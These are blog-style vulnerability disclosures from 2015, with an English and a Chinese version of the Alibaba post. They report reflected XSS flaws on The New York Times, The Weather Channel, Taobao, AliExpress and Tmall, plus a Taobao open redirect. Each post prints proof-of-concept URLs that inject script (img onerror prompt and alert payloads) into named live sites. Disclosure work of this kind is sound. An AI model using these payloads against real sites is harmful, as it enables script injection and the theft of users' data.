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Saturday, 20 June 2015

New York Times nytimes.com Page Design XSS Vulnerability (Almost all Article Pages Before 2013 are Affected)

The New York Times  Old Articles Can Be Exploited by XSS Attacks (Almost all Article Pages Before 2013 Are Affected)





Domain:
http://www.nytimes.com/



"The New York Times (NYT) is an American daily newspaper, founded and continuously published in New York City since September 18, 1851, by the New York Times Company. It has won 114 Pulitzer Prizes, more than any other news organization. The paper's print version has the largest circulation of any metropolitan newspaper in the United States, and the second-largest circulation overall, behind The Wall Street Journal. It is ranked 39th in the world by circulation. Following industry trends, its weekday circulation has fallen to fewer than one million daily since 1990. Nicknamed for years as "The Gray Lady", The New York Times is long regarded within the industry as a national "newspaper of record". It is owned by The New York Times Company. Arthur Ochs Sulzberger, Jr., (whose family (Ochs-Sulzberger) has controlled the paper for five generations, since 1896), is both the paper's publisher and the company's chairman. Its international version, formerly the International Herald Tribune, is now called the International New York Times. The paper's motto, "All the News That's Fit to Print", appears in the upper left-hand corner of the front page." (Wikipedia)
(1) Vulnerability Description:

The New York Times has a computer cyber security problem. Hacker can exploit its users by XSS bugs. 


The code program flaw occurs at New York Times’s URLs. Nytimes (short for New York Times) uses part of the URLs to construct its pages. However, it seems that Nytimes does not filter the content used for the construction at all before 2013.


Based on Nytimes’s Design, Almost all URLs before 2013 are affected (All pages of articles). In fact, all article pages that contain “PRINT” button, “SINGLE PAGE” button, “Page *” button, “NEXT PAGE” button are affected.


Nytimes changed this mechanism since 2013. It decodes the URLs sent to its server. This makes the mechanism much safer now.


However, all URLs before 2013 are still using the old mechanism. This means almost all article pages before 2013 are still vulnerable to XSS attacks. I guess the reason Nytimes does not filter URLs before is cost. It costs too much (money & human capital) to change the database of all posted articles before.
Living POCs Codes:
http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html//' "><img src=x onerror=prompt(/justqdjing/)>
http://www.nytimes.com/2011/01/09/travel/09where-to-go.html//' "><img src=x onerror=prompt(/justqdjing/)>?pagewanted=all&_r=0
http://www.nytimes.com/2010/12/07/opinion/07brooks.html//' "><img src=x onerror=prompt(/justqdjing/)>
http://www.nytimes.com/2009/08/06/technology/06stats.html//' "><img src=x onerror=prompt(/justqdjing/)>
http://www.nytimes.com/2008/07/09/dining/091crex.html//' "><img src=x onerror=prompt(/justqdjing/)>
http://www.nytimes.com/2007/11/14/opinion/lweb14brain.html//' "><img src=x onerror=prompt(/justqdjing/)>





POC Video:
(2) Vulnerability Analysis:
Take the following link as an example,
It can see that for the page reflected, it contains the following codes. All of them are vulnerable.


<li class=”print”>
<a href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=print”>Print</testtesttest?pagewanted=print”></a>
</li>


<li class=”singlePage”>
<a href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><testtesttest?pagewanted=all”> Single Page</vulnerabletoattack?pagewanted=all”></a>
 </li>


<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum2′);” title=”Page 2″ href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=2″>2</testtesttest?pagewanted=2″></a> 
</li>


<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum3′);” title=”Page 3″ href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=3″>3</testtesttest?pagewanted=3″></a> 
</li>


<a class=”next” onclick=”s_code_linktrack(‘Article-MultiPage-Next’);” title=”Next Page” href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=2″>Next Page »</testtesttest?pagewanted=2″></a>






(3) What is XSS?
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.


"Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records. Cross-site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques Cross-site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet." (Acunetix)
The vulnerability can be attacked without user login. Tests were performed on Firefox (34.0) in Ubuntu (14.04) and IE (9.0.15) in Windows 8.








Discover and Reporter:
Jing Wang, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)











More Details:
http://lists.openwall.net/full-disclosure/2014/10/16/2
http://www.tetraph.com/blog/xss-vulnerability/new-york-times-xss
http://permalink.gmane.org/gmane.comp.security.fulldisclosure/1102
http://webcabinet.tumblr.com/post/121907302752/new-york-times-xss
http://www.inzeed.com/kaleidoscope/xss-vulnerability/new-york-times-xss
https://progressive-comp.com/?l=full-disclosure&m=141343993908563&w=1
http://webtech.lofter.com/post/1cd3e0d3_6f57c56
http://tetraph.blog.163.com/blog/static/2346030512014101270479/
https://vulnerabilitypost.wordpress.com/2014/11/01/new-york-times-xss
http://lifegrey.tumblr.com/post/121912534859/tous-les-liens-vers-les-articles
http://securityrelated.blogspot.com/2014/10/new-york-times-design.html
https://mathfas.wordpress.com/2014/11/01/new-york-times-xss
http://computerobsess.blogspot.com/2014/10/new-york-times-design.html
http://whitehatview.tumblr.com/post/103788276286/urls-to-articles-xss
http://diebiyi.com/articles/security/xss-vulnerability/new-york-times-xss





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The Weather Channel at Least 76.3% Links Vulnerable to XSS Attacks

The Weather Channel at Least 76.3% Links Vulnerable to XSS Attacks



Domain Description:
http://www.weather.com/


"The Weather Channel is an American basic cable and satellite television channel which broadcasts weather forecasts and weather-related news and analyses, along with documentaries and entertainment programming related to weather.  Launched on May 2, 1982, the channel broadcasts weather forecasts and weather-related news and analysis, along with documentaries and entertainment programming related to weather."

"As of February 2015, The Weather Channel was received by approximately 97.3 million American households that subscribe to a pay television service (83.6% of U.S. households with at least one television set), which gave it the highest national distribution of any U.S. cable channel. However, it was subsequently dropped by Verizon FiOS (losing its approximately 5.5 millions subscribers), giving the title of most distributed network to HLN. Actual viewership of the channel averaged 210,000 during 2013 and has been declining for several years. Content from The Weather Channel is available for purchase from the NBCUniversal Archives." (Wikipedia)
Vulnerability description:


The Weather Channel has a cyber security problem. Hacker can exploit it by XSS bugs.


Almost all links under the domain weather.com are vulnerable to XSS attacks. Attackers just need to add script at the end of The Weather Channel's URLs. Then the scripts will be executed.


10 thousands of Links were tested based a self-written tool. During the tests, 76.3% of links belong to weather.com were vulnerable to XSS attacks.


The reason of this vulnerability is that Weather Channel uses URLs to construct its HTML tags without filtering malicious script codes. 
The vulnerability can be attacked without user login. Tests were performed on Firefox (34.0) in Ubuntu (14.04) and IE (9.0.15) in Windows 8.














POC Codes, e.g.
http://www.weather.com/slideshows/main/"--/>"><img src=x onerror=prompt('justqdjing')>
http://www.weather.com/home-garden/home/white-house-lawns-20140316%22--/"--/>"><img src=x onerror=prompt('justqdjing')>t%28%27justqdjing%27%29%3E
http://www.weather.com/news/main/"><img src=x onerror=prompt('justqdjing')>





POC Video:




The Weather Channel has patched this Vulnerability in late November, 2014 (last Week).  "The Full Disclosure mailing list is a public forum for detailed discussion of vulnerabilities and exploitation techniques, as well as tools, papers, news, and events of interest to the community. FD differs from other security lists in its open nature and support for researchers' right to decide how to disclose their own discovered bugs. The full disclosure movement has been credited with forcing vendors to better secure their products and to publicly acknowledge and fix flaws rather than hide them. Vendor legal intimidation and censorship attempts are not tolerated here!" A great many of the fllowing web securities have been published here, Buffer overflow, HTTP Response Splitting (CRLF), CMD Injection, SQL injection, Phishing, Cross-site scripting, CSRF, Cyber-attack, Unvalidated Redirects and Forwards, Information Leakage, Denial of Service, File Inclusion, Weak Encryption, Privilege Escalation, Directory Traversal, HTML Injection, Spam. This bug was published at The Full Disclosure in November, 2014.






Discovered by:
Jing Wang, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)








More Details:


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Thursday, 4 June 2015

Alibaba Taobao, AliExpress, Tmall, Online Electronic Shopping Website XSS & Open Redirect Security Vulnerabilities




Alibaba Taobao, AliExpress, Tmall, Online Electronic Shopping Website XSS & Open Redirect Security Vulnerabilities
Domains Basics:
Alibaba Taobao, AliExpress, Tmall are the top three online shopping websites belonging to Alibaba.





Vulnerability Discover:
Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore.






(1) Domains Descriptions:


“Taobao is a Chinese website for online shopping similar to eBay and Amazon that is operated in China by Alibaba Group.” (Wikipedia)

“With around 760 million product listings as of March 2013, Taobao Marketplace is one of the world’s top 10 most visited websites according to Alexa. For the year ended March 31, 2013, the combined gross merchandise volume (GMV) of Taobao Marketplace and Tmall.com exceeded 1 trillion yuan.” (Wikipedia)

Alexa ranking 9 at 10:40 am Thursday, 22 January 2015 (GMT+8). 





"Launched in 2010, AliExpress.com is an online retail service made up of mostly small Chinese businesses offering products to international online buyers. It is the most visited e-commerce website in Russia" (Wikipedia)





"Taobao Mall, is a Chinese-language website for business-to-consumer (B2C) online retail, spun off from Taobao, operated in the People's Republic of China by Alibaba Group. It is a platform for local Chinese and international businesses to sell brand name goods to consumers in mainland China, Hong Kong, Macau and Taiwan." (Wikipedia)






(2) Vulnerability descriptions:
Alibaba Taobao AliExpress Tmall online electronic shopping website has a cyber security bug problem. It can be exploited by XSS and Covert Redirect attacks. 





(3) Alibaba Taobao, AliExpress, Tmall, Online Electronic Shopping Website XSS
The vulnerability can be exploited without user login. Tests were performed on Firefox (34.0) in Ubuntu (14.04) and IE (8.0.7601) in Windows 7.



(3.1) Alibaba Taobao Online Electronic Shopping Website (Taobao.com ) XSS (cross site scripting) Security Vulnerability


The vulnerabilities occur at “writecookie.php?" page with "ck" parameter, e.g

POC Code:
http://www.taobao.com/go/rgn/tw/writecookie.php?ck=tw"-->'-alert(/justqdjing/ )-'";&redirect=0


POC Video:
Blog Details:





(3.2)Alibaba AliExpress Online Electronic Shopping Website (Aliexpress.com) XSS Security Vulnerabilities

The vulnerabilities occur at “landing.php?" page with "cateid" "fromapp" parameters, e.g

POC Code:
/' "><img src=x onerror=prompt(/tetraph/)>
http://activities.aliexpress.com/mobile_325_promotion_landing.php?cateid=6</script>/' "><img src=x onerror=prompt(/tetraph/)><!--&fromapp=


POC Video:
Blog Details:





(3.3) Alibaba Tmall Online Electronic Shopping Website (Tmall.com) XSS Security Vulnerability 

The vulnerabilities occur at “writecookie.php?" page with "ck" parameter, e.g

POC Code:
http://www.tmall.com/go/app/sea/writecookie.php?ck=cn"-->'-alert(/tetraph/ )-'";&redirect=1


POC Video:
Blog Details:



This vulnerabilities were disclosed at Full Disclosure. "The Full Disclosure mailing list is a public forum for detailed discussion of vulnerabilities and exploitation techniques, as well as tools, papers, news, and events of interest to the community. FD differs from other security lists in its open nature and support for researchers' right to decide how to disclose their own discovered bugs. The full disclosure movement has been credited with forcing vendors to better secure their products and to publicly acknowledge and fix flaws rather than hide them. Vendor legal intimidation and censorship attempts are not tolerated here!" All the fllowing web securities have been published here, Injection, Broken Authentication and Session Management, Cross-Site Scripting (XSS), Insecure Direct Object References, Security Misconfiguration, Sensitive Data Exposure, Missing Function Level Access Control, Cross-Site Request Forgery (CSRF), Using Components with Known Vulnerabilities, Unvalidated Redirects and Forwards.




(4) Alibaba Taobao（taobao.com）Covert Redirect Security Vulnerability Based on Apple.com


(4.1) Vulnerability description:
Alibaba Taobao has a security problem. It can be exploited by Covert Redirect attacks. Taobao will check whether the redirected URL belongs to domains in Taobao's whitelist, e.g. apple.com

If this is true, the redirection will be allowed.

However, if the URLs in a redirected domain have open URL redirection vulnerabilities themselves, a user could be redirected from Taobao to a vulnerable URL in that domain first and later be redirected from this vulnerable site to a malicious site. This is as if being redirected from Taobao directly.

In fact, Apple.com was found can be exploited by Open Redirect vulnerabilities. Those vulnerabilities details will be published in the near future.



(4.2) The vulnerability occurs at "redirect.htm?" page, with parameter “&url”, i.e.

The vulnerabilities can be attacked without user login. Tests were performed on IE (10.0) of Windows 8, Firefox (34.0) & Google Chromium 39.0.2171.65-0 ubuntu0.14.04.1.1064 (64-bit) of Ubuntu (14.04)，Safari 6.1.6 of Mac OS X Lion 10.7.



(4.3) Use a website for the tests，the redirected webpage is “http://www.tetraph.com/blog". Just suppose it is malicious.

Vulnerable URL:

POC Code:


Poc Video:
Blog Detail:






Those vulnerablities were reported to Alibaba in 2014 and have been patched by the security team (just checked). Name was listed in the hall of fame by Alibaba.






https://www.facebook.com/websecuritiesnews/posts/802525526534286
https://www.facebook.com/permalink.php?story_fbid=841091885926189&id=767438873291491
https://infoswift.wordpress.com/2015/01/27/alibaba-xss-open-redirect/
http://tetraph.blog.163.com/blog/static/2346030512015545132356/






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阿里巴巴 淘宝, 天猫, 全球苏卖通 线上电子购物网 跨站脚本攻击 (XSS) & 公开重定向 (Open Redirect) 安全漏洞 



域名:

阿里巴巴 淘宝, 天猫, 全球苏卖通 线上电子购物网 是阿里巴巴集团最大的前三家网上购物电子商务网站.




(1) 漏洞描述:
阿里巴巴 淘宝, 天猫, 全球苏卖通 线上电子购物网 有一个安全问题. 它容易遭受 跨站脚本攻击 (XSS) & 公开重定向 (Open Redirect) 安全漏洞攻击.

漏洞不需要用户登录，测试是基于Windows 7 的 IE (8.0. 7601) 和 Ubuntu (14.04) 的 Firefox (34.0)。



(1.1) 阿里巴巴 淘宝 线上电子购物网 (Taobao.com) XSS (跨站脚本攻击) 安全漏洞 

漏洞链接地点 “writecookie.php?", 参数 "ck" e.g.


POC:
http://www.taobao.com/go/rgn/tw/writecookie.php?ck=tw"-->'-alert(/tetraph/ )-'";&redirect=0






(1.2) 阿里巴巴 全球速卖通 在线交易平台 (aliexpress.com) XSS (跨站脚本攻击) 安全漏洞 

漏洞链接地点 “mobile_325_promotion_landing.php", 参数 "cateid" 和 "fromapp" e.g.


POC:
/' "><img src=x onerror=prompt(/tetraph/)>
http://activities.aliexpress.com/mobile_325_promotion_landing.php?cateid=6</script>/' "><img src=x onerror=prompt(/tetraph/)><!--&fromapp=






(1.3) 阿里巴巴 天猫 线上电子购物网 (Tmall.com) XSS (跨站脚本攻击) 安全漏洞 

漏洞链接地点 “writecookie.php?", 参数 "ck" e.g.

POC:
http://www.tmall.com/go/app/sea/writecookie.php?ck=cn"-->'-alert(/tetraph/ )-'";&redirect=1






(2) 阿里巴巴淘宝线上电子购物网（taobao.com）Covert Redirect（隐蔽重定向跳转）安全漏洞基于 苹果网站


(2.1) 漏洞描述:
阿里巴巴 淘宝购物网 有一个安全问题. 它容易遭受 Covert Redirect  (Open Redirect 公开重定向) 漏洞攻击. 所有 属于 Apple.com 的 链接都在白名单内。故而如果 苹果的 网站 本身有 公开重定向问题。那么受害者相当于首先被导向到 苹果官网然后 到 有害网站。 事实上苹果网站被发现有公开重定向问题，过段时间会公布细节。


有漏洞的文件是 "redirect.htm?", 参数 “&url”, i.e.


这个漏洞不需要用户登录。测试是基于Windows 8 的 IE (10.0) 和 Ubuntu (14.04) 的 Firefox (34.0) 及 Google Chromium 39.0.2171.65-0 ubuntu0.14.04.1.1064 (64-bit)，Mac OS X Lion 10.7 的 Safari 6.1.6。



(2.2) 用一个创建的网页进行测试，这个网页是“http://www.tetraph.com/blog"。可以假定这个页面是有害的。

漏洞网址:

POC 代码:








这些漏洞在2014年被报告给阿里巴巴安全应急中心，到今天已被修补 （刚刚检查）， 名字被列在了白帽子名单感谢表里。




漏洞发现者:
王晶, 数学科学系 (MAS), 物理与数学科学学院 (SPMS), 南洋理工大学 (NTU), 新加坡.















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